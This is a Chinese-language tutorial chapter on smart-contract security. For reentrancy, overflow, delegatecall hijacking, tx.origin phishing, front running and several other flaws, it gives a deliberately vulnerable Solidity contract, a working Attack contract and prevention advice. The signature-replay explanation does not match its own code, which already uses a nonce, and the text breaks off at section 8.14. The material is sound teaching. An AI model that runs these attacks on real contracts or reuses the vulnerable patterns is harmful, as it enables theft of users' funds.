Chapter 8 Hacks ,EVM , test and DeFi

8.1 重入攻击漏洞

概述
重入攻击是一种智能合约中的关键漏洞,当一个合约(称为合约 A)调用另一个合约(合约 B)时,允许合约 B 在合约 A 完成执行之前再次调用合约 A。这可能导致意外行为,例如未经授权的资金提取。

示例场景
考虑以下示例,涉及一个名为 EtherStore 的合约,它允许用户存入和提取以太币:

  1. 部署 EtherStore
  2. 从账户 1(Alice)和账户 2(Bob)各存入 1 以太币到 EtherStore
  3. 使用 EtherStore 的地址部署 Attack 合约。
  4. 执行 Attack.attack,向其发送 1 以太币(使用账户 3,Eve)。
    Eve 最终可能会收到 3 以太币:
    • 从 Alice 和 Bob 那里盗取的 2 以太币
    • EtherStore 合约发出的 1 以太币

发生了什么?
攻击成功的原因在于,它利用了 EtherStore.withdraw 可以在完成之前多次调用的特性。调用序列如下:

  • Attack.attack
  • EtherStore.deposit
  • EtherStore.withdraw
  • Attack fallback(接收 1 以太币)
  • EtherStore.withdraw
  • Attack.fallback(接收 1 以太币)
  • EtherStore.withdraw
  • Attack fallback(接收 1 以太币)

代码示例

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0);

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "发送以太币失败");

        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

攻击合约

contract Attack {
    EtherStore public etherStore;
    uint256 public constant AMOUNT = 1 ether;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    fallback() external payable {
        if (address(etherStore).balance >= AMOUNT) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= AMOUNT);
        etherStore.deposit{value: AMOUNT}();
        etherStore.withdraw();
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

防范措施
为了减轻重入攻击的风险,可以考虑以下技术:

  1. 确保所有状态更改在调用外部合约之前完成。
  2. 使用函数修饰符防止重入。 以下是重入保护的示例:
contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "不允许重入");
        locked = true;
        _;
        locked = false;
    }
}

结论
理解并防止重入攻击漏洞对于安全的智能合约开发至关重要。通过实施适当的保护措施,开发者可以保护其合约免受潜在的攻击。

8.2 算术溢出和下溢漏洞

算术溢出和下溢漏洞

Solidity 版本 < 0.8
在 Solidity 中,整数溢出或下溢时不会产生任何错误。

Solidity 版本 >= 0.8
Solidity 0.8 版本的默认行为是在发生溢出或下溢时抛出错误。

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

// 该合约设计为一个时间锁。
// 用户可以向合约存入资金,但至少一周内无法提取。
// 用户也可以将等待时间延长超过一周。

/*
1. 部署 TimeLock 合约
2. 部署 Attack 合约,并传入 TimeLock 的地址
3. 调用 Attack.attack,并发送 1 以太币。您将立即能够提取您的以太币。

发生了什么?
攻击使 TimeLock.lockTime 溢出,从而在一周等待期之前提取了资金。
*/

contract TimeLock {
    mapping(address => uint256) public balances;
    mapping(address => uint256) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint256 _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "资金不足");
        require(block.timestamp > lockTime[msg.sender], "锁定时间未到");

        uint256 amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent,) = msg.sender.call{value: amount}("");
        require(sent, "发送以太币失败");
    }
}

contract Attack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        /*
        如果 t = 当前锁定时间,我们需要找到 x,使得
        x + t = 2**256 = 0
        因此 x = -t
        2**256 = type(uint).max + 1
        所以 x = type(uint).max + 1 - t
        */
        timeLock.increaseLockTime(
            type(uint256).max + 1 - timeLock.lockTime(address(this))
        );
        timeLock.withdraw();
    }
}

预防技术
使用 SafeMath 可以防止算术溢出和下溢。

Solidity 0.8 默认在发生溢出或下溢时抛出错误。

8.3 自销毁 (Self Destruct)

自销毁 (Self Destruct)
合约可以通过调用 selfdestruct 从区块链中删除。

selfdestruct 将合约中存储的所有剩余以太币发送到指定地址。

漏洞
恶意合约可以利用 selfdestruct 强制将以太币发送到任何合约。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

// 本游戏的目标是成为第七位存入 1 以太币的玩家。
// 玩家每次只能存入 1 以太币。
// 获胜者可以提取所有的以太币。

/*
1. 部署 EtherGame 合约
2. 玩家(例如,Alice 和 Bob)决定进行游戏,各自存入 1 以太币。
3. 部署 Attack 合约,并传入 EtherGame 的地址
4. 调用 Attack.attack,发送 5 以太币。这将破坏游戏
   没有人可以成为赢家。

发生了什么?
攻击将 EtherGame 的余额强制设为 7 以太币。
现在没有人可以存入,赢家也无法确定。
*/

contract EtherGame {
    uint256 public targetAmount = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "您只能发送 1 以太币");

        uint256 balance = address(this).balance;
        require(balance <= targetAmount, "游戏结束");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "您不是赢家");

        (bool sent,) = msg.sender.call{value: address(this).balance}("");
        require(sent, "发送以太币失败");
    }
}

contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {
        // 只需发送以太币使得游戏余额 >= 7 以太币即可轻松破坏游戏

        // 将地址转换为可支付的地址
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

预防技术
不要依赖 address(this).balance

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract EtherGame {
    uint256 public targetAmount = 3 ether;
    uint256 public balance;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "您只能发送 1 以太币");

        balance += msg.value;
        require(balance <= targetAmount, "游戏结束");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "您不是赢家");

        (bool sent,) = msg.sender.call{value: balance}("");
        require(sent, "发送以太币失败");
    }
}

8.4 访问私有数据

智能合约中的所有数据都可以被读取。

让我们看看如何读取私有数据。在此过程中,您将了解 Solidity 如何存储状态变量。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
注意:不能在 JVM 上使用 web3,因此请使用在 Goerli 部署的合约
注意:浏览器中的 Web3 较旧,因此请使用 Truffle 控制台中的 Web3

在 Goerli 上部署的合约
0x534E4Ce0ffF779513793cfd70308AF195827BD31
*/

/*
 存储
- 2 ** 256 个槽
- 每个槽 32 字节
- 数据按声明顺序顺序存储
- 存储经过优化以节省空间。如果相邻变量可以放入一个 32 字节的槽中,
  则它们将从右侧打包到同一个槽中
*/

contract Vault {
    // 槽 0
    uint256 public count = 123;
    // 槽 1
    address public owner = msg.sender;
    bool public isTrue = true;
    uint16 public u16 = 31;
    // 槽 2
    bytes32 private password;

    // 常量不使用存储
    uint256 public constant someConst = 123;

    // 槽 3, 4, 5(每个数组元素一个槽)
    bytes32[3] public data;

    struct User {
        uint256 id;
        bytes32 password;
    }

    // 槽 6 - 数组长度
    // 从槽 hash(6) 开始 - 数组元素
    // 数组元素存储的槽 = keccak256(slot) + (index * elementSize)
    // 其中槽 = 6,元素大小 = 2(1 (uint) + 1 (bytes32))
    User[] private users;

    // 槽 7 - 空
    // 条目存储在 hash(key, slot) 中
    // 其中槽 = 7,key = 映射键
    mapping(uint256 => User) private idToUser;

    constructor(bytes32 _password) {
        password = _password;
    }

    function addUser(bytes32 _password) public {
        User memory user = User({id: users.length, password: _password});

        users.push(user);
        idToUser[user.id] = user;
    }

    function getArrayLocation(uint256 slot, uint256 index, uint256 elementSize)
        public
        pure
        returns (uint256)
    {
        return
            uint256(keccak256(abi.encodePacked(slot))) + (index * elementSize);
    }

    function getMapLocation(uint256 slot, uint256 key)
        public
        pure
        returns (uint256)
    {
        return uint256(keccak256(abi.encodePacked(key, slot)));
    }
}

/*
槽 0 - count
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", 0, console.log)
槽 1 - u16, isTrue, owner
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", 1, console.log)
槽 2 - password
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", 2, console.log)

槽 6 - 数组长度
getArrayLocation(6, 0, 2)
web3.utils.numberToHex("111414077815863400510004064629973595961579173665589224203503662149373724986687")
注意:我们还可以使用 web3 获取数据位置
web3.utils.soliditySha3({ type: "uint", value: 6 })
第一个用户
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f", console.log)
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d40", console.log)
注意:使用 web3.toAscii 将 bytes32 转换为字母
第二个用户
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d41", console.log)
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d42", console.log)

槽 7 - 空
getMapLocation(7, 1)
web3.utils.numberToHex("81222191986226809103279119994707868322855741819905904417953092666699096963112")
注意:我们还可以使用 web3 获取数据位置
web3.utils.soliditySha3({ type: "uint", value: 1 }, {type: "uint", value: 7})
用户 1
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xb39221ace053465ec3453ce2b36430bd138b997ecea25c1043da0c366812b828", console.log)
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xb39221ace053465ec3453ce2b36430bd138b997ecea25c1043da0c366812b829", console.log)
*/

**预防技术**  
不要在区块链上存储敏感信息。

8.5 代理调用 (Delegatecall)

漏洞
代理调用的使用非常棘手,错误的用法或不正确的理解可能导致严重后果。

使用代理调用时需牢记两点: 1. 代理调用保留上下文(存储、调用者等)。 2. 调用代理的合约和被调用的合约的存储布局必须相同。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
HackMe 是一个使用 delegatecall 执行代码的合约。
HackMe 中没有函数可以更改所有者,因此不明显可以更改所有者。
但是攻击者可以通过利用 delegatecall 劫持合约。我们来看看怎么做。

1. Alice 部署 Lib
2. Alice 部署 HackMe,并传入 Lib 的地址
3. Eve 部署 Attack,并传入 HackMe 的地址
4. Eve 调用 Attack.attack()
5. Attack 现在是 HackMe 的所有者

发生了什么?
Eve 调用 Attack.attack()。
Attack 调用 HackMe 的 fallback 函数,发送 pwn() 的函数选择器。
HackMe 使用 delegatecall 转发调用到 Lib。
此时 msg.data 包含 pwn() 的函数选择器。
这告诉 Solidity 调用 Lib 中的 pwn() 函数。
pwn() 函数将所有者更新为 msg.sender。
代理调用使用 HackMe 的上下文运行 Lib 的代码。
因此,HackMe 的存储被更新为 msg.sender,此时 msg.sender 是 HackMe 的调用者,也就是 Attack。
*/

contract Lib {
    address public owner;

    function pwn() public {
        owner = msg.sender;
    }
}

contract HackMe {
    address public owner;
    Lib public lib;

    constructor(Lib _lib) {
        owner = msg.sender;
        lib = Lib(_lib);
    }

    fallback() external payable {
        address(lib).delegatecall(msg.data);
    }
}

contract Attack {
    address public hackMe;

    constructor(address _hackMe) {
        hackMe = _hackMe;
    }

    function attack() public {
        hackMe.call(abi.encodeWithSignature("pwn()"));
    }
}

另一个示例

这是前一个漏洞的更复杂版本。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
1. Alice 部署 Lib 和 HackMe,并传入 Lib 的地址
2. Eve 部署 Attack,并传入 HackMe 的地址
3. Eve 调用 Attack.attack()
4. Attack 现在是 HackMe 的所有者

发生了什么?
注意,Lib 和 HackMe 中的状态变量定义方式不同。
这意味着调用 Lib.doSomething() 将改变 HackMe 中的第一个状态变量,即 lib 的地址。

在 attack() 内部,第一次调用 doSomething() 将 HackMe 中存储的 lib 地址更改为 Attack。
此时 lib 的地址被设置为 Attack。
第二次调用 doSomething() 调用 Attack.doSomething(),在这里我们更改所有者。
*/

contract Lib {
    uint256 public someNumber;

    function doSomething(uint256 _num) public {
        someNumber = _num;
    }
}

contract HackMe {
    address public lib;
    address public owner;
    uint256 public someNumber;

    constructor(address _lib) {
        lib = _lib;
        owner = msg.sender;
    }

    function doSomething(uint256 _num) public {
        lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
    }
}

contract Attack {
    // 确保存储布局与 HackMe 相同
    // 这将允许我们正确更新状态变量
    address public lib;
    address public owner;
    uint256 public someNumber;

    HackMe public hackMe;

    constructor(HackMe _hackMe) {
        hackMe = HackMe(_hackMe);
    }

    function attack() public {
        // 覆盖 lib 的地址
        hackMe.doSomething(uint256(uint160(address(this))));
        // 传入任何数字作为输入,下面的 doSomething() 函数将被调用
        hackMe.doSomething(1);
    }

    // 函数签名必须与 HackMe.doSomething() 匹配
    function doSomething(uint256 _num) public {
        owner = msg.sender;
    }
}

预防技术
使用无状态库。

8.6 随机性来源 (Source of Randomness)

漏洞
blockhashblock.timestamp 不是可靠的随机性来源。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
注意:在 Remix 中无法使用 blockhash,所以请使用 ganache-cli

npm i -g ganache-cli
ganache-cli
在 Remix 中将环境切换到 Web3 提供者
*/

/*
GuessTheRandomNumber 是一个游戏,如果你能猜出由块哈希和时间戳生成的伪随机数,就可以赢得 1 Ether。

乍一看,似乎不可能猜到正确的数字。
但是让我们看看赢得胜利有多简单。

1. Alice 部署 GuessTheRandomNumber,并存入 1 Ether
2. Eve 部署 Attack
3. Eve 调用 Attack.attack(),并赢得 1 Ether

发生了什么?
Attack 通过简单地复制计算随机数的代码来计算正确答案。
*/

contract GuessTheRandomNumber {
    constructor() payable {}

    function guess(uint256 _guess) public {
        uint256 answer = uint256(
            keccak256(
                abi.encodePacked(blockhash(block.number - 1), block.timestamp)
            )
        );

        if (_guess == answer) {
            (bool sent,) = msg.sender.call{value: 1 ether}("");
            require(sent, "Failed to send Ether");
        }
    }
}

contract Attack {
    receive() external payable {}

    function attack(GuessTheRandomNumber guessTheRandomNumber) public {
        uint256 answer = uint256(
            keccak256(
                abi.encodePacked(blockhash(block.number - 1), block.timestamp)
            )
        );

        guessTheRandomNumber.guess(answer);
    }

    // 辅助函数以检查余额
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

预防技术
不要使用 blockhashblock.timestamp 作为随机性来源。

8.7 拒绝服务 (Denial of Service)

拒绝服务 (Denial of Service)

漏洞
有许多方法可以攻击智能合约,使其无法使用。其中一种攻击是通过使发送 Ether 的函数失败来实现拒绝服务。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
KingOfEther 的目标是通过发送比前任国王更多的 Ether 来成为国王。
前任国王将退还他所发送的 Ether。
*/

/*
1. 部署 KingOfEther
2. Alice 通过发送 1 Ether 调用 claimThrone() 成为国王。
3. Bob 通过发送 2 Ether 调用 claimThrone() 成为国王。
   Alice 收到 1 Ether 的退款。
4. 部署 Attack,地址为 KingOfEther。
5. 使用 3 Ether 调用 attack。
6. 当前国王是 Attack 合约,没有人可以成为新国王。

发生了什么?
Attack 成为国王。所有新的挑战来声称王位将被拒绝,因为 Attack 合约没有 fallback 函数,拒绝接受来自 KingOfEther 的 Ether,在新国王设定之前。
*/

contract KingOfEther {
    address public king;
    uint256 public balance;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        (bool sent,) = king.call{value: balance}("");
        require(sent, "Failed to send Ether");

        balance = msg.value;
        king = msg.sender;
    }
}

contract Attack {
    KingOfEther kingOfEther;

    constructor(KingOfEther _kingOfEther) {
        kingOfEther = KingOfEther(_kingOfEther);
    }

    function attack() public payable {
        kingOfEther.claimThrone{value: msg.value}();
    }
}

预防技术
防止此类攻击的一种方法是允许用户提取他们的 Ether,而不是直接发送。以下是一个示例:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract KingOfEther {
    address public king;
    uint256 public balance;
    mapping(address => uint256) public balances;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        balances[king] += balance;

        balance = msg.value;
        king = msg.sender;
    }

    function withdraw() public {
        require(msg.sender != king, "Current king cannot withdraw");

        uint256 amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent,) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

通过将 Ether 存入用户的余额映射,用户可以在需要时提取自己的 Ether,从而降低了拒绝服务攻击的风险。

8.8 钓鱼攻击与 tx.origin

8.8.1 网络钓鱼与 tx.origin

msg.sender vs tx.origin
- msg.sender 是调用当前函数的直接合约或地址。 - tx.origin 是交易的发起者,指的是最初发起交易的地址。

漏洞
恶意合约可以欺骗合约的拥有者,使其调用一个仅应由拥有者调用的函数。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
Wallet 是一个简单的合约,只有拥有者才能转移 Ether。
Wallet.transfer() 使用 tx.origin 检查调用者是否为拥有者。
让我们看看如何攻击这个合约。
*/

/*
1. Alice 部署 Wallet,拥有 10 Ether。
2. Eve 部署 Attack,并提供 Alice 的 Wallet 合约地址。
3. Eve 诱使 Alice 调用 Attack.attack()。
4. Eve 成功盗取了 Alice 的 Ether。

发生了什么?
Alice 被诱骗调用 Attack.attack()。在 Attack.attack() 中,它请求将所有资金转移到 Eve 的地址。
由于 Wallet.transfer() 中的 tx.origin 等于 Alice 的地址,因此授权了转移。钱包将所有 Ether 转移到 Eve。
*/

contract Wallet {
    address public owner;

    constructor() payable {
        owner = msg.sender;
    }

    function transfer(address payable _to, uint256 _amount) public {
        require(tx.origin == owner, "Not owner");

        (bool sent,) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    address payable public owner;
    Wallet wallet;

    constructor(Wallet _wallet) {
        wallet = Wallet(_wallet);
        owner = payable(msg.sender);
    }

    function attack() public {
        wallet.transfer(owner, address(wallet).balance);
    }
}

8.8.2 预防技术

使用 msg.sender 替代 tx.origin。这可以防止恶意合约利用 tx.origin 的值进行钓鱼攻击。

function transfer(address payable _to, uint256 _amount) public {
    require(msg.sender == owner, "Not owner");

    (bool sent, ) = _to.call{value: _amount}("");
    require(sent, "Failed to send Ether");
}

通过这种方式,只有真正的拥有者(即直接调用 transfer 函数的地址)才能执行转账,降低了潜在的安全风险。

8.9 隐藏恶意代码的外部合约

8.9.1 隐藏恶意代码的外部合约

漏洞
在 Solidity 中,任何地址都可以被强制转换为特定合约,即使该地址上的合约并不是所转换的合约。这可以被利用来隐藏恶意代码。

示例场景
假设 Alice 可以看到 FooBar 的代码,但无法看到 Mal。Alice 认为 Foo.callBar() 将执行 Bar.log() 中的代码,但实际上,由于 Eve 部署了 Foo 并将 Mal 的地址传入,调用 Foo.callBar() 实际上会执行 Mal 中的代码。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
1. Eve 部署 Mal。
2. Eve 部署 Foo,使用 Mal 的地址。
3. Alice 调用 Foo.callBar(),在阅读代码后判断其安全。
4. 尽管 Alice 预期执行 Bar.log(),但实际执行了 Mal.log()。
*/

contract Foo {
    Bar bar;

    constructor(address _bar) {
        bar = Bar(_bar);
    }

    function callBar() public {
        bar.log();
    }
}

contract Bar {
    event Log(string message);

    function log() public {
        emit Log("Bar was called");
    }
}

// 隐藏的恶意代码
contract Mal {
    event Log(string message);

    function log() public {
        emit Log("Mal was called");
    }
}

8.9.2 预防技术

  1. 在构造函数内部初始化新合约:通过直接在构造函数中实例化所需的合约,避免使用外部地址。

  2. 公开外部合约的地址:将外部合约的地址设为公开,以便任何人都可以审查外部合约的代码。

Bar public bar;

constructor() public {
    bar = new Bar();
}

通过这些技术,可以降低恶意代码被隐藏的风险,确保合约的安全性和透明性。

8.10 蜂窝陷阱 (Honeypot)

漏洞
蜂窝陷阱是一种捕捉黑客的策略。通过结合重入攻击和隐藏恶意代码的两种漏洞,可以构建一个捕捉恶意用户的合约。

示例场景
在这个例子中,Bank 合约在其 withdraw 函数中存在重入攻击漏洞。黑客尝试通过该漏洞提取 Bank 中的以太币,但实际上这是一个陷阱。部署 Bank 时使用 HoneyPot 替代 Logger,使得这个合约成为黑客的陷阱。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Bank {
    mapping(address => uint256) public balances;
    Logger logger;

    constructor(Logger _logger) {
        logger = Logger(_logger);
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        logger.log(msg.sender, msg.value, "Deposit");
    }

    function withdraw(uint256 _amount) public {
        require(_amount <= balances[msg.sender], "Insufficient funds");

        (bool sent,) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] -= _amount;

        logger.log(msg.sender, _amount, "Withdraw");
    }
}

contract Logger {
    event Log(address caller, uint256 amount, string action);

    function log(address _caller, uint256 _amount, string memory _action) public {
        emit Log(_caller, _amount, _action);
    }
}

// 黑客尝试通过重入攻击提取 Bank 中的以太币。
contract Attack {
    Bank bank;

    constructor(Bank _bank) {
        bank = Bank(_bank);
    }

    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw(1 ether);
        }
    }

    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

// 隐藏在另一个文件中的恶意代码。
contract HoneyPot {
    function log(address _caller, uint256 _amount, string memory _action) public {
        if (equal(_action, "Withdraw")) {
            revert("It's a trap");
        }
    }

    // 使用 keccak256 比较字符串
    function equal(string memory _a, string memory _b) public pure returns (bool) {
        return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
    }
}

8.10.1 发生了什么?

  1. Alice 部署 HoneyPot
  2. Alice 部署 Bank,使用 HoneyPot 的地址。
  3. Alice 向 Bank 存入 1 以太币。
  4. Eve 发现了 Bank.withdraw 的重入漏洞,并决定攻击。
  5. Eve 部署 Attack,使用 Bank 的地址。
  6. Eve 调用 Attack.attack(),传入 1 以太币,但交易失败。

8.10.2 结论

当 Eve 调用 Attack.attack() 时,它开始从 Bank 提取以太币。当最后一个 Bank.withdraw() 即将完成时,调用 logger.log(),而 HoneyPot.log() 触发了回退,导致交易失败。这样,黑客未能成功提取资金。

8.11 前置交易 (Front Running)

漏洞
前置交易是一种攻击形式,攻击者可以观察交易池并提交交易,使其在原始交易之前被包含在区块中。这种机制可以被利用来重新排序交易,以攻击者的利益为目的。

示例场景
在这个示例中,Alice 创建了一个猜谜游戏,奖励为 10 以太币,玩家需要找到与目标哈希相对应的字符串。攻击者 Eve 可以利用前置交易来获取奖励。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract FindThisHash {
    bytes32 public constant hash =
        0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;

    constructor() payable {}

    function solve(string memory solution) public {
        require(
            hash == keccak256(abi.encodePacked(solution)), "Incorrect answer"
        );

        (bool sent,) = msg.sender.call{value: 10 ether}("");
        require(sent, "Failed to send Ether");
    }
}

8.11.1 发生了什么?

  1. Alice 部署 FindThisHash,并存入 10 以太币。
  2. Bob 找到与目标哈希匹配的字符串(“Ethereum”)。
  3. Bob 调用 solve("Ethereum"),设置 gas 价格为 15 gwei。
  4. Eve 观察交易池,看到 Bob 的交易。
  5. Eve 以更高的 gas 价格(100 gwei)提交相同的交易。
  6. Eve 的交易被优先包含在区块中,从而赢得了 10 以太币的奖励。

8.11.2 预防措施

  1. 使用承诺-揭示方案 (Commit-Reveal Scheme):允许用户在隐藏答案的情况下提交答案,随后再公开答案进行验证。
  2. 使用隐匿发送 (Submarine Send):将发送者的身份隐藏,以降低被前置交易攻击的风险。

8.11.3 承诺-揭示方案示例

以下是如何通过承诺-揭示方案来防止前置交易的示例:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract SecuredFindThisHash {
    struct Commit {
        bytes32 solutionHash;
        uint256 commitTime;
        bool revealed;
    }

    bytes32 public hash = 
        0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;

    address public winner;
    uint256 public reward;
    bool public ended;

    mapping(address => Commit) commits;

    modifier gameActive() {
        require(!ended, "Already ended");
        _;
    }

    constructor() payable {
        reward = msg.value;
    }

    function commitSolution(bytes32 _solutionHash) public gameActive {
        Commit storage commit = commits[msg.sender];
        require(commit.commitTime == 0, "Already committed");
        commit.solutionHash = _solutionHash;
        commit.commitTime = block.timestamp;
        commit.revealed = false;
    }

    function revealSolution(string memory _solution, string memory _secret) public gameActive {
        Commit storage commit = commits[msg.sender];
        require(commit.commitTime != 0, "Not committed yet");
        require(commit.commitTime < block.timestamp, "Cannot reveal in the same block");
        require(!commit.revealed, "Already committed and revealed");

        bytes32 solutionHash = keccak256(abi.encodePacked(msg.sender, _solution, _secret));
        require(solutionHash == commit.solutionHash, "Hash doesn't match");

        require(keccak256(abi.encodePacked(_solution)) == hash, "Incorrect answer");

        winner = msg.sender;
        ended = true;

        (bool sent,) = payable(msg.sender).call{value: reward}("");
        require(sent, "Failed to send ether.");
    }
}

8.11.4 结论

在这个实现中,用户首先提交一个哈希值以承诺他们的答案,并在稍后阶段揭示该答案及其秘密。这样,即使攻击者尝试前置交易,只有正确提交的用户能够获得奖励。

8.12 区块时间戳操控 (Block Timestamp Manipulation)

漏洞
在以太坊中,block.timestamp 可以被矿工操控。尽管有一些约束条件(例如,时间戳不能早于其父区块的时间戳,且不能太过未来),矿工仍然可以利用这些约束来影响合约的行为。

8.12.1 示例场景

以下是一个简单的轮盘赌游戏示例,玩家需要在特定的时间戳提交交易以赢得合约中的所有以太币。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Roulette {
    uint256 public pastBlockTime;

    constructor() payable {}

    function spin() external payable {
        require(msg.value == 10 ether); // 必须发送 10 以太币才能参与
        require(block.timestamp != pastBlockTime); // 每个区块只能有 1 笔交易

        pastBlockTime = block.timestamp;

        if (block.timestamp % 15 == 0) {
            (bool sent,) = msg.sender.call{value: address(this).balance}("");
            require(sent, "Failed to send Ether");
        }
    }
}

8.12.2 发生了什么?

  1. Alice 部署 Roulette 合约并存入 10 以太币。
  2. Eve 运行一个强大的矿工节点,能够操控区块时间戳。
  3. Eve 设置 block.timestamp 为未来某个可被 15 整除的数字,并找到目标区块哈希。
  4. Eve 的区块成功被包含在链上,Eve 赢得了轮盘赌游戏。

8.12.3 预防措施

  1. 避免使用 block.timestamp 作为随机数源或熵的来源:因为它可以被矿工操控,建议使用更安全的随机数生成方法,例如链上随机数或预言机服务(如 Chainlink VRF)。

  2. 使用合约外部数据:通过引入可信的外部数据源,来替代简单的时间戳条件。

8.12.4 总结

由于 block.timestamp 可以被矿工操控,因此在设计智能合约时应谨慎使用时间戳,尤其是用于决定游戏胜负或其他关键逻辑的地方。使用更安全的随机数生成方法和数据源可以有效降低这种操控带来的风险。

8.13 签名重放漏洞 (Signature Replay Vulnerability)

漏洞概述
在智能合约中,使用离线签名的消息可以在链上执行某些功能。然而,签名可能会被重放多次,这会导致意外的后果。例如,签名本意是一次性批准的操作,若被重复使用则可能导致资产被错误转移。

8.13.1 示例合约

以下是一个简单的多签钱包合约示例,其中允许多个所有者批准转账:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "./ECDSA.sol";

contract MultiSigWallet {
    using ECDSA for bytes32;

    address[2] public owners;
    mapping(bytes32 => bool) public executed;

    constructor(address[2] memory _owners) payable {
        owners = _owners;
    }

    function deposit() external payable {}

    function transfer(
        address _to,
        uint256 _amount,
        uint256 _nonce,
        bytes[2] memory _sigs
    ) external {
        bytes32 txHash = getTxHash(_to, _amount, _nonce);
        require(!executed[txHash], "tx executed");
        require(_checkSigs(_sigs, txHash), "invalid sig");

        executed[txHash] = true;

        (bool sent,) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }

    function getTxHash(address _to, uint256 _amount, uint256 _nonce)
        public
        view
        returns (bytes32)
    {
        return keccak256(abi.encodePacked(address(this), _to, _amount, _nonce));
    }

    function _checkSigs(bytes[2] memory _sigs, bytes32 _txHash)
        private
        view
        returns (bool)
    {
        bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();

        for (uint256 i = 0; i < _sigs.length; i++) {
            address signer = ethSignedHash.recover(_sigs[i]);
            bool valid = signer == owners[i];

            if (!valid) {
                return false;
            }
        }

        return true;
    }
}

8.13.2 发生了什么?

在此合约中,所有者可以通过提供签名和交易信息来执行转账。问题在于,如果签名没有包含唯一性标识符(如 nonce),同一签名可以被重放多次,导致重复转账。

8.13.3 预防措施

  1. 引入 Nonce:每个交易应包含唯一的 nonce 值,确保每个签名只能使用一次。合约内部跟踪已执行的交易,以防止重复执行。

  2. 改进签名结构:通过将合约地址和 nonce 加入到签名消息中,确保每个签名都唯一并与特定交易相关联。

8.13.4 总结

为防止签名重放漏洞,应确保合约中的每个交易都具有唯一的标识符。通过引入 nonce 并跟踪已执行的交易,可以显著提高合约的安全性,避免潜在的资产损失。

8.14 绕过合约大小检查 (Bypass Contract Size Check)

漏洞概述
